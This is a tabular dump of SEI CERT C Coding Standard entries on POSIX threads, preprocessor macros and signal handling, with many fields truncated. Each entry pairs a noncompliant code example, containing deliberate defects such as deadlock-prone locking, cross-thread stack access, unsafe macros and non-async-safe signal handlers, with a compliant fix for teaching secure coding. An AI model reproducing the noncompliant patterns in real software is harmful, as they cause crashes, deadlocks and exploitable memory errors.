Declare objects shared between POSIX threads with appropriate storage durations
Accessing the stack or thread-local variables of a thread from another thread can cause invalid memory accesses because the execution of threads can be interwoven within the constraints of the synchronization model. As a result, the referenced stack frame or thread-local variable may not be valid when the other thread ...
void *childThread(void *val) { /* * Depending on the order of thread execution, the object * referred to by val may be out of its lifetime, resulting * in a potentially incorrect result being printed out.  */ int *res = (int *)val; printf("Result: %d\n", *res); return NULL; } void createThread(pthre...
void *childThread(void *val) { /* Correctly prints 1 */ int *res = (int *)val; printf("Result: %d\n", *res); free(res); return NULL; } void createThread(pthread *tid) { int result; /* Copy data into dynamic memory */ int *val = malloc(sizeof(int)); if (!val) { /* Handle error */ } *val = 1; ...
## Risk Assessment Threads that reference the stack of other threads can potentially overwrite important information on the stack, such as function pointers and return addresses. However, it would be difficult for an attacker to exploit this code from this error alone. The compiler will not generate warnings if the pro...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,018
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152018
2
50
POS51-C
Avoid deadlock with POSIX threads by locking in predefined order
Mutexes are often used to prevent multiple threads from accessing critical resources at the same time. Sometimes, when locking mutexes, multiple threads hold each other's lock, and the program consequently deadlocks. There are four requirements for deadlock: Mutual exclusion Hold and wait No preemption Circular wait De...
typedef struct { int balance; pthread_mutex_t balance_mutex; } bank_account; typedef struct { bank_account *from; bank_account *to; int amount; } deposit_thr_args; void create_bank_account(bank_account **ba, int initial_amount) { int result; bank_account *nba = malloc(sizeof(bank_account)); if (nba ==...
typedef struct { int balance; pthread_mutex_t balance_mutex; unsigned int id; /* Should never be changed after initialized */ } bank_account; unsigned int global_id = 1; void create_bank_account(bank_account **ba, int initial_amount) { int result; bank_account *nba = malloc(sizeof(bank_account)); if (nba ...
## Risk Assessment Deadlock prevents multiple threads from progressing, thus halting the executing program. A denial-of-service attack is possible because the attacker can force deadlock situations. Deadlock is likely to occur in multithreaded programs that manage multiple shared resources. Recommendation Severity Like...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,025
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152025
2
50
POS52-C
Do not perform operations that can block while holding a POSIX lock
If a lock is being held and an operation that can block is performed, any other thread that needs to acquire that lock may also block. This condition can degrade the performance of a system or cause a deadlock to occur. Blocking calls include, but are not limited to: network, file, and console I/O. This rule is a speci...
pthread_mutexattr_t attr; pthread_mutex_t mutex; void thread_foo(void *ptr) { uint32_t num; int result; int sock; /* sock is a connected TCP socket */ if ((result = pthread_mutex_lock(&mutex)) != 0) { /* Handle Error */ } if ((result = recv(sock, (void *)&num, sizeof(uint32_t), 0)) < 0) { /* H...
void thread_foo(void *ptr) { uint32_t num; int result; int sock; /* sock is a connected TCP socket */ if ((result = recv(sock, (void *)&num, sizeof(uint32_t), 0)) < 0) { /* Handle Error */ } if ((result = pthread_mutex_lock(&mutex)) != 0) { /* Handle Error */ } /* ... */ if ((result = p...
## Risk Assessment Blocking or lengthy operations performed within synchronized regions could result in a deadlocked or an unresponsive system. Rule Severity Likelihood Detectable Repairable Priority Level POS52-C Low Probable No No P2 L3
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,151,984
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151984
2
50
POS53-C
Do not use more than one mutex for concurrent waiting operations on a condition variable
pthread_cond_wait() and pthread_cond_timedwait() take a condition variable and locked mutex as arguments. These functions unlock the mutex until the condition variable is signaled and then relock the mutex before returning. While a thread is waiting on a particular condition variable and mutex, other threads may only w...
#include <stdio.h> #include <string.h> #include <pthread.h> #include <assert.h> #include <unistd.h> #include <errno.h> pthread_mutex_t mutex1; pthread_mutex_t mutex2; pthread_mutexattr_t attr; pthread_cond_t cv; void *waiter1(); void *waiter2(); void *signaler(); int count1 = 0, count2 = 0; #define COUNT_LIMIT 5 in...
#include <stdio.h> #include <pthread.h>   pthread_mutex_t mutex1; /* Initialized as PTHREAD_MUTEX_ERRORCHECK */ pthread_cond_t cv; int count1 = 0, count2 = 0; #define COUNT_LIMIT 5 void *waiter1() { int ret; while (count1 < COUNT_LIMIT) { if ((ret = pthread_mutex_lock(&mutex1)) != 0) { /* Handle error */...
## Risk Assessment Waiting on the same condition variable with two different mutexes could cause a thread to be signaled and resume execution with the wrong mutex locked. It could lead to unexpected program behavior if the same shared data were simultaneously accessed by two threads. The severity is medium because impr...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,151,921
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151921
2
50
POS54-C
Detect and handle POSIX library errors
All standard library functions, including I/O functions and memory allocation functions, return either a valid value or a value of the correct return type that indicates an error (for example, −1 or a null pointer). Assuming that all calls to such functions will succeed and failing to check the return value for an indi...
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { FILE *out; FILE *in; size_t size; char *ptr; if (argc != 2) { /* Handle error */ } in = fmemopen(argv[1], strlen(argv[1]), "r"); /* Use in */ out = open_memstream(&ptr, &size); /* Use out */ return 0; } ## No...
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { FILE *out; FILE *in; size_t size; char *ptr; if (argc != 2) { /* Handle error */ } in = fmemopen(argv[1], strlen(argv[1]), "r"); if (in == NULL){ /* Handle error */ } /* Use in */ out = open_memstream(&ptr, ...
## Risk Assessment Failing to detect error conditions can lead to unpredictable results, including abnormal program termination and denial-of-service attacks or, in some situations, could even allow an attacker to run arbitrary code. Rule Severity Likelihood Detectable Repairable Priority Level POS54-C High Likely Yes ...
SEI CERT C Coding Standard > 2 Rules > Rule 50. POSIX (POS)
c
87,152,416
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152416
3
1
PRE00-C
Prefer inline or static functions to function-like macros
Macros are dangerous because their use resembles that of real functions, but they have different semantics. The inline function-specifier was introduced to the C programming language in the C99 standard. Inline functions should be preferred over macros when they can be used interchangeably. Making a function an inline ...
#define CUBE(X) ((X) * (X) * (X))   void func(void) { int i = 2; int a = 81 / CUBE(++i); /* ... */ } int a = 81 / ((++i) * (++i) * (++i)); size_t count = 0; #define EXEC_BUMP(func) (func(), ++count) void g(void) { printf("Called g, count = %zu.\n", count); } void aFunc(void) { size_t count = 0; while (...
inline int cube(int i) { return i * i * i; }   void func(void) { int i = 2; int a = 81 / cube(++i); /* ... */ } size_t count = 0; void g(void) { printf("Called g, count = %zu.\n", count); } typedef void (*exec_func)(void); inline void exec_bump(exec_func f) { f(); ++count; } void aFunc(void) { size...
## Risk Assessment Improper use of macros may result in undefined behavior . Recommendation Severity Likelihood Detectable Repairable Priority Level PRE00-C Medium Unlikely No No P2 L3 Automated Detection Tool Version Checker Description macro-function-like macro-function-like-strict function-like-macro-expansion Fully...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,393
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152393
3
1
PRE01-C
Use parentheses within macros around parameter names
Parenthesize all parameter names in macro definitions. See also and .
#define CUBE(I) (I * I * I) int a = 81 / CUBE(2 + 1); int a = 81 / (2 + 1 * 2 + 1 * 2 + 1); /* Evaluates to 11 */ ## Noncompliant Code Example This CUBE() macro definition is noncompliant because it fails to parenthesize the parameter names: #FFcccc c #define CUBE(I) (I * I * I) As a result, the invocation #FFcccc ...
#define CUBE(I) ( (I) * (I) * (I) ) int a = 81 / CUBE(2 + 1); ## Compliant Solution Parenthesizing all parameter names in the CUBE() macro allows it to expand correctly (when invoked in this manner): #ccccff c #define CUBE(I) ( (I) * (I) * (I) ) int a = 81 / CUBE(2 + 1);
## Risk Assessment Failing to parenthesize the parameter names in a macro can result in unintended program behavior. Recommendation Severity Likelihood Detectable Repairable Priority Level PRE01-C Medium Probable Yes Yes P12 L1 Automated Detection Tool Version Checker Description macro-parameter-parentheses Fully check...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,384
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152384
3
1
PRE02-C
Macro replacement lists should be parenthesized
Macro replacement lists should be parenthesized to protect any lower-precedence operators from the surrounding expression. See also and .
#define CUBE(X) (X) * (X) * (X) int i = 3; int a = 81 / CUBE(i); int a = 81 / CUBE(i); int a = 81 / i * i * i; int a = ((81 / i) * i) * i); /* Evaluates to 243 */ #define END_OF_FILE -1 /* ... */ if (getchar() END_OF_FILE) { /* ... */ } #define END_OF_FILE (-1) ## Noncompliant Code Example This CUBE() macro d...
#define CUBE(X) ((X) * (X) * (X)) int i = 3; int a = 81 / CUBE(i); enum { END_OF_FILE = -1 }; /* ... */ if (getchar() != END_OF_FILE) { /* ... */ } ## Compliant Solution With its replacement list parenthesized, the CUBE() macro expands correctly for this type of invocation. #ccccff c #define CUBE(X) ((X) * (X) * (...
## Risk Assessment Failing to parenthesize macro replacement lists can cause unexpected results. Recommendation Severity Likelihood Detectable Repairable Priority Level PRE02-C Medium Probable Yes Yes P12 L1 Automated Detection Tool Version Checker Description CertC-PRE02 LANG.PREPROC.MACROEND LANG.PREPROC.MACROSTART M...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,186
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152186
3
1
PRE04-C
Do not reuse a standard header file name
If a file with the same name as a standard header is placed in the search path for included source files, the behavior is undefined . The following table from the C Standard, subclause 7.1.2 [ ISO/IEC 9899:2011 ], lists these standard headers: <assert.h> <float.h> <math.h> <stdatomic.h> <stdlib.h> <time.h> <complex.h> ...
#include "stdio.h" /* Confusing, distinct from <stdio.h> */ /* ... */ ## Noncompliant Code Example In this noncompliant code example, the programmer chooses to use a local version of the standard library but does not make the change clear: #FFcccc c #include "stdio.h" /* Confusing, distinct from <stdio.h> */ /* ......
/* Using a local version of stdio.h */ #include "mystdio.h" /* ... */ ## Compliant Solution The solution addresses the problem by giving the local library a unique name (per ), which makes it apparent that the library used is not the original: #ccccFF c /* Using a local version of stdio.h */ #include "mystdio.h" /* ...
## Risk Assessment Using header file names that conflict with other header file names can result in an incorrect file being included. Recommendation Severity Likelihood Detectable Repairable Priority Level PRE04-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description CertC-PRE04 premium-cert-pr...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,353
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152353
3
1
PRE05-C
Understand macro replacement when concatenating tokens or performing stringification
It is necessary to understand how macro replacement works in C, particularly in the context of concatenating tokens using the ## operator and converting macro parameters to strings using the # operator. Concatenating Tokens The ## preprocessing operator is used to merge two tokens into one while expanding macros, which...
#define static_assert(e) \ typedef char JOIN(assertion_failed_at_line_, __LINE__) \ [(e) ? 1 : -1] #define JOIN(x, y) x ## y #define str(s) #s #define foo 4 str(foo) ## Noncompliant Code Example The following definition for static_assert() from uses the JOIN() macro to concatenate the token assertion_failed_a...
#define JOIN(x, y) JOIN_AGAIN(x, y) #define JOIN_AGAIN(x, y) x ## y #define xstr(s) str(s) #define str(s) #s #define foo 4 ## Compliant Solution ## To get the macro to expand, a second level of indirection is required, as shown by this compliant solution: #ccccFF c #define JOIN(x, y) JOIN_AGAIN(x, y) #define JOIN_AGA...
## Risk Assessment Recommendation Severity Likelihood Detectable Repairable Priority Level PRE05-C Low Unlikely No Yes P2 L3 Automated Detection Tool Version Checker Description CertC-PRE05 LANG.PREPROC.HASH LANG.PREPROC.MARGME LANG.PREPROC.PASTE Macro uses # operator Macro argument is both mixed and expanded Macro use...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,155
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152155
3
1
PRE06-C
Enclose header files in an include guard
Until the early 1980s, large software development projects had a continual problem with the inclusion of headers. One group might have produced a graphics.h , for example, which started by including io.h . Another group might have produced keyboard.h , which also included io.h . If io.h could not safely be included sev...
null
#ifndef HEADER_H #define HEADER_H /* ... Contents of <header.h> ... */ #endif /* HEADER_H */ ## Compliant Solution All these complications disappeared with the discovery of a simple technique: each header should #define a symbol that means "I have already been included." The entire header is then enclosed in an incl...
## Risk Assessment Failure to include header files in an include guard can result in unexpected behavior . Recommendation Severity Likelihood Detectable Repairable Priority Level PRE06-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Description include-guard-missing include-guard-pragma-once Fully...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,056
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152056
3
1
PRE07-C
Avoid using repeated question marks
Two consecutive question marks signify the start of a trigraph sequence. According to the C Standard, subclause 5.2.1.1 [ ISO/IEC 9899:2011 ], All occurrences in a source file of the following sequences of three characters (that is, trigraph sequences ) are replaced with the corresponding single character. ??= # ??) ] ...
// What is the value of a now??/ a++; size_t i = /* Some initial value */; if (i > 9000) { if (puts("Over 9000!??!") == EOF) { /* Handle error */ } } ## Noncompliant Code Example In this noncompliant code example, a++ is not executed because the trigraph sequence ??/ is replaced by \ , logically putting a+...
// What is the value of a now? ?/ a++; size_t i = /* Some initial value */; /* Assignment of i */ if (i > 9000) { if (puts("Over 9000!?""?!") == EOF) { /* Handle error */ } } ## Compliant Solution ## This compliant solution eliminates the accidental introduction of the trigraph by separating the question m...
## Risk Assessment Inadvertent trigraphs can result in unexpected behavior. Some compilers provide options to warn when trigraphs are encountered or to disable trigraph expansion. Use the warning options, and ensure your code compiles cleanly. (See .) Recommendation Severity Likelihood Detectable Repairable Priority Le...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,355
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152355
3
1
PRE08-C
Guarantee that header file names are unique
Make sure that included header file names are unique. According to the C Standard, subclause 6.10.2, paragraph 5 [ ISO/IEC 9899:2011 ], The implementation shall provide unique mappings for sequences consisting of one or more nondigits or digits (6.4.2.1) followed by a period (.) and a single nondigit. The first charact...
#include "Library.h" #include <stdio.h> #include <stdlib.h> #include "library.h" #include "utilities_math.h" #include "utilities_physics.h" #include "my_library.h" /* ... */ ## Noncompliant Code Example This noncompliant code example contains references to headers that may exist independently in various environment...
#include "Lib_main.h" #include <stdio.h> #include <stdlib.h> #include "lib_2.h" #include "util_math.h" #include "util_physics.h" #include "my_library.h" /* ... */ ## Compliant Solution This compliant solution avoids the ambiguity by renaming the associated files to be unique under the preceding constraints: #ccccFF...
## Risk Assessment Failing to guarantee uniqueness of header files may result in the inclusion of an older version of a header file, which may include incorrect macro definitions or obsolete function prototypes or result in other errors that may or may not be detected by the compiler. Portability issues may also stem f...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,166
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152166
3
1
PRE09-C
Do not replace secure functions with deprecated or obsolescent functions
Macros are frequently used in the remediation of existing code to globally replace one identifier with another, for example, when an existing API changes. Although some risk is always involved, this practice becomes particularly dangerous if a function name is replaced with the function name of a deprecated or obsolesc...
#define vsnprintf(buf, size, fmt, list) \ vsprintf(buf, fmt, list) ## Noncompliant Code Example The Internet Systems Consortium's (ISC) Dynamic Host Configuration Protocol (DHCP) contained a vulnerability that introduced several potential buffer overflow conditions [ VU#654390 ]. ISC DHCP makes use of the vsnprintf() ...
#include <stdio.h> #ifndef __USE_ISOC11 /* Reimplements vsnprintf() */ #include "my_stdio.h" #endif ## Compliant Solution The solution is to include an implementation of the missing function vsnprintf() to eliminate the dependency on external library functions when they are not available. This compliant solution a...
## Risk Assessment Replacing secure functions with less secure functions is a very risky practice because developers can be easily fooled into trusting the function to perform a security check that is absent. This may be a concern, for example, as developers attempt to adopt more secure functions that might not be avai...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,293
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152293
3
1
PRE10-C
Wrap multistatement macros in a do-while loop
Macros are often used to execute a sequence of multiple statements as a group. Inline functions are, in general, more suitable for this task (see ). Occasionally, however, they are not feasible (when macros are expected to operate on variables of different types, for example). When multiple statements are used in a mac...
/* * Swaps two values and requires * tmp variable to be defined. */ #define SWAP(x, y) \ tmp = x; \ x = y; \ y = tmp int x, y, z, tmp; if (z == 0) SWAP(x, y); int x, y, z, tmp; if (z == 0) tmp = x; x = y; y = tmp; /* * Swaps two values and requires * tmp variable to be defined. */ #define SWAP(x, y) ...
/* * Swaps two values and requires * tmp variable to be defined. */ #define SWAP(x, y) \ do { \ tmp = (x); \ (x) = (y); \ (y) = tmp; } \ while (0) ## Compliant Solution Wrapping the macro inside a do-while loop mitigates the problem: #ccccFF c /* * Swaps two values and requires * tmp variable to be ...
## Risk Assessment Improperly wrapped statement macros can result in unexpected and difficult to diagnose behavior. Recommendation Severity Likelihood Detectable Repairable Priority Level PRE10-C Medium Probable Yes Yes P12 L1 Automated Detection Tool Version Checker Description CertC-PRE10 C3412, C3458 MISRA.DEFINE.BA...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,265
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152265
3
1
PRE11-C
Do not conclude macro definitions with a semicolon
Macros are frequently used to make source code more readable. Macro definitions, regardless of whether they expand to a single or multiple statements, should not conclude with a semicolon. (See .) If required, the semicolon should be included following the macro expansion. Inadvertently inserting a semicolon at the end...
#define FOR_LOOP(n) for(i=0; i<(n); i++); int i; FOR_LOOP(3) { puts("Inside for loop\n"); } Inside for loop Inside for loop Inside for loop #define INCREMOD(x, max) ((x) = ((x) + 1) % (max)); int index = 0; int value; value = INCREMOD(index, 10) + 2; /* ... */ ## Noncompliant Code Example This noncompliant code...
#define FOR_LOOP(n) for(i=0; i<(n); i++) int i; FOR_LOOP(3) { puts("Inside for loop\n"); } #define INCREMOD(x, max) ((x) = ((x) + 1) % (max)) inline int incremod(int *x, int max) {*x = (*x + 1) % max;} ## Compliant Solution The compliant solution is to write the macro definition without the semicolon at the end,...
## Risk Assessment Using a semicolon at the end of a macro definition can result in the change of program control flow and thus unintended program behavior. Recommendation Severity Likelihood Detectable Repairable Priority Level PRE11-C Medium Probable Yes No P8 L2 Automated Detection Tool Version Checker Description m...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,230
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152230
3
1
PRE12-C
Do not define unsafe macros
An unsafe function-like macro is one that, when expanded, evaluates its argument more than once or does not evaluate it at all. Contrasted with function calls, which always evaluate each of their arguments exactly once, unsafe function-like macros often have unexpected and surprising effects and lead to subtle, hard-to...
#define ABS(x) (((x) < 0) ? -(x) : (x)) void f(int n) { int m; m = ABS(++n); /* ... */ } m = (((++n) < 0) ? -(++n) : (++n)); ## Noncompliant Code Example (Multiple Argument Evaluation) The most severe problem with unsafe function-like macros is side effects of macro arguments, as shown in this noncompliant cod...
inline int Abs(int x) { return x < 0 ? -x : x; } #define ABS(x) __extension__ ({ __typeof (x) __tmp = x; __tmp < 0 ? - __tmp : __tmp; }) ## Compliant Solution (Inline Function) ## A possible and preferable compliant solution is to define an inline function with equivalent but unsurprising semantics: #ccccff c inlin...
## Risk Assessment Defining an unsafe macro leads to invocations of the macro with an argument that has side effects , causing those side effects to occur more than once. Unexpected or undefined program behavior can result. Rule Severity Likelihood Detectable Repairable Priority Level PRE12-C Low Probable Yes No P4 L3 ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,151,942
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151942
3
1
PRE13-C
Use the Standard predefined macros to test for versions and features.
The C S tandard defines a set of predefined macros (see subclause 6.10.8) to help the user determine if the implementation being used is a conforming implementation, and if so, to which version of the C Standard it conforms. These macros can also help the user to determine which of the standard features are implemented...
#include <stdio.h> int main(void) { #if (__STDC__ == 1) printf("Implementation is ISO-conforming.\n"); #else printf("Implementation is not ISO-conforming.\n"); #endif /* ... */ return 0; } ## Noncompliant Code Example (Checking Value of Predefined Macro) C Standard predefined macros should never be...
#include <stdio.h> int main(void) { #if defined(__STDC__) #if (__STDC__ == 1) printf("Implementation is ISO-conforming.\n"); #else printf("Implementation is not ISO-conforming.\n"); #endif #else /* !defined(__STDC__) */ printf("__STDC__ is not defined.\n"); #endif /* ... */ retu...
## Risk Assessment Not testing for language features or the version of the implementation being used can lead to unexpected or undefined program behavior . Rule Severity Likelihood Detectable Repairable Priority Level PRE13-C Low Probable No No P2 L3 Automated Detection Tool Version Checker Description CertC-PRE13 C333...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 01. Preprocessor (PRE)
c
87,152,465
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152465
2
1
PRE30-C
Do not create a universal character name through concatenation
The C Standard supports universal character names that may be used in identifiers, character constants, and string literals to designate characters that are not in the basic character set. The universal character name \U nnnnnnnn designates the character whose 8-digit short identifier (as specified by ISO/IEC 10646) is...
#define assign(uc1, uc2, val) uc1##uc2 = val void func(void) { int \u0401; /* ... */ assign(\u04, 01, 4); /* ... */ } ## Noncompliant Code Example ## This code example is noncompliant because it produces a universal character name by token concatenation: #FFCCCC c #define assign(uc1, uc2, val) uc1##uc2 = val ...
#define assign(ucn, val) ucn = val   void func(void) { int \u0401; /* ... */ assign(\u0401, 4); /* ... */ } ## Compliant Solution ## This compliant solution uses a universal character name but does not create it by using token concatenation: #ccccff c #define assign(ucn, val) ucn = val void func(void) { int \u...
## Risk Assessment Creating a universal character name through token concatenation results in undefined behavior. See undefined behavior 3 . Rule Severity Likelihood Detectable Repairable Priority Level PRE30-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description universal-character-name-conca...
SEI CERT C Coding Standard > 2 Rules > Rule 01. Preprocessor (PRE)
c
87,152,163
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152163
2
1
PRE31-C
Avoid side effects in arguments to unsafe macros
An unsafe function-like macro is one whose expansion results in evaluating one of its parameters more than once or not at all. Never invoke an unsafe macro with arguments containing an assignment, increment, decrement, volatile access, input/output, or other expressions with side effects (including function calls, whic...
#define ABS(x) (((x) < 0) ? -(x) : (x))   void func(int n) { /* Validate that n is within the desired range */ int m = ABS(++n); /* ... */ } m = (((++n) < 0) ? -(++n) : (++n)); #include <assert.h> #include <stddef.h>    void process(size_t index) { assert(index++ > 0); /* Side effect */ /* ... */ } ## Non...
#define ABS(x) (((x) < 0) ? -(x) : (x)) /* UNSAFE */   void func(int n) { /* Validate that n is within the desired range */ ++n; int m = ABS(n); /* ... */ } #include <complex.h> #include <math.h> static inline int iabs(int x) { return (((x) < 0) ? -(x) : (x)); }   void func(int n) { /* Validate that n i...
## Risk Assessment Invoking an unsafe macro with an argument that has side effects may cause those side effects to occur more than once. This practice can lead to unexpected program behavior . Rule Severity Likelihood Detectable Repairable Priority Level PRE31-C Low Unlikely No Yes P2 L3 Automated Detection Tool Versio...
SEI CERT C Coding Standard > 2 Rules > Rule 01. Preprocessor (PRE)
c
87,152,331
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152331
2
1
PRE32-C
Do not use preprocessor directives in invocations of function-like macros
The arguments to a macro must not include preprocessor directives, such as #define , #ifdef , and #include . Doing so results in undefined behavior , according to the C Standard, 6.10.5, paragraph 11 [ ISO/IEC 9899:2024 ]: The sequence of preprocessing tokens bounded by the outside-most matching parentheses forms the l...
#include <string.h>   void func(const char *src) { /* Validate the source string; calculate size */ char *dest; /* malloc() destination string */ memcpy(dest, src, #ifdef PLATFORM1 12 #else 24 #endif );   /* ... */ } ## Noncompliant Code Example In this noncompliant code example [ GC...
#include <string.h> void func(const char *src) { /* Validate the source string; calculate size */ char *dest; /* malloc() destination string */  #ifdef PLATFORM1 memcpy(dest, src, 12); #else memcpy(dest, src, 24); #endif /* ... */ } ## Compliant Solution ## In this compliant solution [GCC Bugs],...
## Risk Assessment Including preprocessor directives in macro arguments is undefined behavior 92 . Rule Severity Likelihood Detectable Repairable Priority Level PRE32-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Description macro-argument-hash Fully checked CertC-PRE32 Fully implemented LANG.PR...
SEI CERT C Coding Standard > 2 Rules > Rule 01. Preprocessor (PRE)
c
87,152,179
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152179
3
11
SIG00-C
Mask signals handled by noninterruptible signal handlers
A signal is a mechanism for transferring control that is typically used to notify a process that an event has occurred. That process can then respond to the event accordingly. The C Standard provides functions for sending and handling signals within a C program. Processes handle signals by registering a signal handler ...
#include <signal.h> volatile sig_atomic_t sig1 = 0; volatile sig_atomic_t sig2 = 0; void handler(int signum) { if (signum == SIGUSR1) { sig1 = 1; } else if (sig1) { sig2 = 1; } } int main(void) { if (signal(SIGUSR1, handler) == SIG_ERR) { /* Handle error */ } if (signal(SIGUSR2, handler) ==...
#include <signal.h> #include <stdio.h> volatile sig_atomic_t sig1 = 0; volatile sig_atomic_t sig2 = 0; void handler(int signum) { if (signum == SIGUSR1) { sig1 = 1; } else if (sig1) { sig2 = 1; } } int main(void) { struct sigaction act; act.sa_handler = &handler; act.sa_flags = 0; if (sigempt...
## Risk Assessment Interrupting a noninterruptible signal handler can result in a variety of vulnerabilities [ Zalewski 2001 ]. Recommendation Severity Likelihood Detectable Repairable Priority Level SIG00-C High Likely No No P9 L2 Automated Detection Tool Version Checker Description BADFUNC.SIGNAL Use of signal C5019 ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 11. Signals (SIG)
c
87,152,103
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152103
3
11
SIG01-C
Understand implementation-specific details regarding signal handler persistence
The signal() function has implementation-defined behavior and behaves differently on Windows, for example, than it does on many UNIX systems. The following code example shows this behavior: #include <stdio.h> #include <signal.h> volatile sig_atomic_t e_flag = 0; void handler(int signum) { e_flag = 1; } int main(void) {...
void handler(int signum) { /* Handle signal */ } void handler(int signum) { if (signal(signum, handler) == SIG_ERR) { /* Handle error */ } /* Handle signal */ } void handler(int signum) { /* Handle signal */ } ## Noncompliant Code Example This noncompliant code example fails to persist the signal handl...
/* * Equivalent to signal(SIGUSR1, handler) but makes * signal persistent. */ struct sigaction act; act.sa_handler = handler; act.sa_flags = 0; if (sigemptyset(&act.sa_mask) != 0) { /* Handle error */ } if (sigaction(SIGUSR1, &act, NULL) != 0) { /* Handle error */ } void handler(int signum) { #ifndef WINDOWS ...
## Risk Assessment Failure to understand implementation-specific details regarding signal-handler persistence can lead to unexpected behavior . Recommendation Severity Likelihood Detectable Repairable Priority Level SIG01-C Low Unlikely No No P1 L3 Automated Detection Tool Version Checker Description BADFUNC.SIGNAL Use...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 11. Signals (SIG)
c
87,152,106
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152106
3
11
SIG02-C
Avoid using signals to implement normal functionality
Avoid using signals to implement normal functionality. Signal handlers are severely limited in the actions they can perform in a portably secure manner. Their use should be reserved for abnormal events that can be serviced by little more than logging.
/* THREAD 1 */ int do_work(void) { /* ... */ kill(THR2_PID, SIGUSR1); } /* THREAD 2 */ volatile sig_atomic_t flag; void sigusr1_handler(int signum) { flag = 1; } int wait_and_work(void) { flag = 0; while (!flag) {} /* ... */ } void dologout(status) { if (logged_in) { (void) seteuid((uid_t)0); ...
#include <pthread.h> pthread_cond_t cond = PTHREAD_COND_INITIALIZER; pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; /* THREAD 1 */ int do_work(void) { int result; /* ... */ if ((result = pthread_mutex_lock(&mut)) != 0) { /* Handle error condition */ } if ((result = pthread_cond_signal(&cond,&mut)) != ...
## Risk Assessment Rule Severity Likelihood Detectable Repairable Priority Level SIG02-C High Probable No No P6 L2 Automated Detection Tool Version Checker Description BADFUNC.SIGNAL Use of signal C5044 LDRA tool suite 44 S Enhanced Enforcement Parasoft C/C++test CERT_C-SIG02-a The signal handling facilities of <signal...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 11. Signals (SIG)
c
87,152,178
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152178
2
11
SIG30-C
Call only asynchronous-safe functions within signal handlers
Call only asynchronous-safe functions within signal handlers. For strictly conforming programs, only the C standard library functions abort() , _Exit() , quick_exit() , and signal() can be safely called from within a signal handler. The C Standard, 7.14.1.1, paragraph 5 [ ISO/IEC 9899:2024 ], states that if the signal ...
#include <signal.h> #include <stdio.h> #include <stdlib.h> enum { MAXLINE = 1024 }; char *info = NULL; void log_message(void) { fputs(info, stderr); } void handler(int signum) { log_message(); free(info); info = NULL; } int main(void) { if (signal(SIGINT, handler) == SIG_ERR) { /* Handle error */ } ...
#include <signal.h> #include <stdio.h> #include <stdlib.h> enum { MAXLINE = 1024 }; volatile sig_atomic_t eflag = 0; char *info = NULL; void log_message(void) { fputs(info, stderr); } void handler(int signum) { eflag = 1; } int main(void) { if (signal(SIGINT, handler) == SIG_ERR) { /* Handle error */ } ...
## Risk Assessment Invoking functions that are not asynchronous-safe from within a signal handler is undefined behavior 132 . Rule Severity Likelihood Detectable Repairable Priority Level SIG30-C High Likely Yes No P18 L1 Automated Detection Tool Version Checker Description signal-handler-unsafe-call Partially checked ...
SEI CERT C Coding Standard > 2 Rules > Rule 11. Signals (SIG)
c
87,152,213
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152213
2
11
SIG31-C
